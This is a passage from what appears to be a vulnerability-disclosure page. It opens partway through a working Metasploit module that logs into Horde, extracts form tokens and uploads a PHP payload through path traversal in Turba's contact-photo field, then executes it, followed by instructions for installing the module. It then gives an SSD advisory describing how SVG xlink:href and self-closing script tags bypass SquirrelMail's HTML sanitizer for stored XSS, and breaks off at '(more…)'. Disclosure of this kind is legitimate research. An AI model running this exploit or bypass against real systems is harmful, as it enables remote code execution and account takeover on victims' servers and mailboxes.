      if res.body =~ /name="turba_form_addcontact_formToken" value="(.+)"/
        form_token = Regexp.last_match[1]
        return source_token, form_token, res.get_cookies
      end
      end
    end
    nil
  end
  def exploit
    vprint_status("Authenticating using #{username}:#{password}")
    cookie = horde_login(username, password)
    fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil?
    vprint_good("Authenticated to Horde.")
    tokens = get_tokens(cookie)
    fail_with(Failure::Unknown, 'Error extracting tokens.') if tokens.nil?
    source_token, form_token, secret_cookie = tokens
    vprint_good("Tokens \"#{source_token}\", \"#{form_token}\", and cookie \"#{secret_cookie}\" found.")
    targets[1..-1].each do |curr_target|
    if target.name =~ /Automatic/ or curr_target == target
      payload_name = Rex::Text.rand_text_alpha_lower(10)
      payload_path = File.join(curr_target[:path], "static", "#{payload_name}.php")
      payload_path_traversal = File.join("..", payload_path)
      vprint_status("Preparing payload for target #{curr_target.name}...")
      data = Rex::MIME::Message.new
      data.add_part(payload.encoded, 'image/png', nil, "form-data; name=\"object[photo][new]\"; filename=\"#{payload_name}.png\"")
      data.add_part("turba_form_addcontact", nil, nil, 'form-data; name="formname"')
      data.add_part(form_token, nil, nil, 'form-data; name="turba_form_addcontact_formToken"')
      data.add_part(source_token, nil, nil, 'form-data; name="source"')
      data.add_part(payload_path_traversal, nil, nil, 'form-data; name="object[photo][img][file]"')
      post_data = data.to_s
      vprint_status("Uploading payload to #{payload_path_traversal}")
      res = send_request_cgi(
        'method'    => 'POST',
        'uri'       => normalize_uri(target_uri, 'turba', 'add.php'),
        'ctype'     => "multipart/form-data; boundary=#{data.bound}",
        'data'      => post_data,
        'cookie'    => cookie + ' ' + secret_cookie
      )
      fail_with(Failure::Unknown, "Unable to upload payload to #{payload_path_traversal}.") unless res && res.code == 200
      payload_url = normalize_uri(target_uri, 'static', "#{payload_name}.php")
      vprint_status("Executing the payload at #{payload_url}.")
      res = send_request_cgi(
        'uri'     => payload_url,
        'method'  => 'GET'
      )
      if res and res.code != 200
        vprint_bad("URL #{payload_url} hasn't been created or is not callable")
      else
        register_files_for_cleanup(payload_path)
        break
      end
    end
   end
  end
end

Install the module under ~/.msf4/modules/exploits/unix/webapp/horde_turba_file_upload.rb .
The module automatically exploits the Horde across different  configurations, both if manually installed with PEAR or with apt-get.

SquirrelMail – Incoming e-Mails Stored XSS

Abstract
SquirrelMail allows to display HTML messages provided that non-safe fragments are redacted. An input sanitization vulnerability that can be exploited to perform stored cross-site scripting (XSS) attacks has been discovered.
A remote attacker can send a specially crafted e-mail containing malicious HTML and execute arbitrary JavaScript code in the context of the vulnerable webmail interface when the user displays the message. This basically grants the attacker the same privileges of the authenticated victim, in particular this enables to (among other things): send e-mail messages on the behalf of the victim, fetch conversations from folders, delete or otherwise manage messages, log the victim out of SquirrelMail, etc.
It is likely that even prior versions are affected since this does not appear to be a regression but merely an insufficient implementation.
Details
The HTML sanitizer uses a blacklist approach based on tag and attributes names to recognize potentially dangerous HTML code and decide how to fix it, for example, attributes starting with on are removed as they usually represent events. In particular, the <script> element is deleted and the href attribute can only assume certain schemes (e.g., not javascript:) otherwise it is replaced with a void image URL.
It is possible to bypass these checks by using the SVG counterpart of the <a> and <script> elements. This variant exposes the href attribute as part of the xlink namespace (for the latter it allows to specify the resource containing the script code) therefore it can be accessed with xlink:href which is ignored by SquirrelMail. Moreover, in this context <script> can be self-closing and the lack of closing tag is enough to deceive the sanitizer.
Two methods have been devised, to maximize the chances of success it may be advisable to employ both.
Credit
An independent security researcher, Andrea Cardaci, has reported this vulnerability to SSD Secure Disclosure program.
Affected versions
SquirrelMail version 1.4.23 (SM-1_4-STABLE @ r14746)
SquirrelMail version 1.5.2 (trunk @ r14747)

No user action required
This solution only works with Firefox and Edge [1] and requires no additional interaction from of the user:

(more…)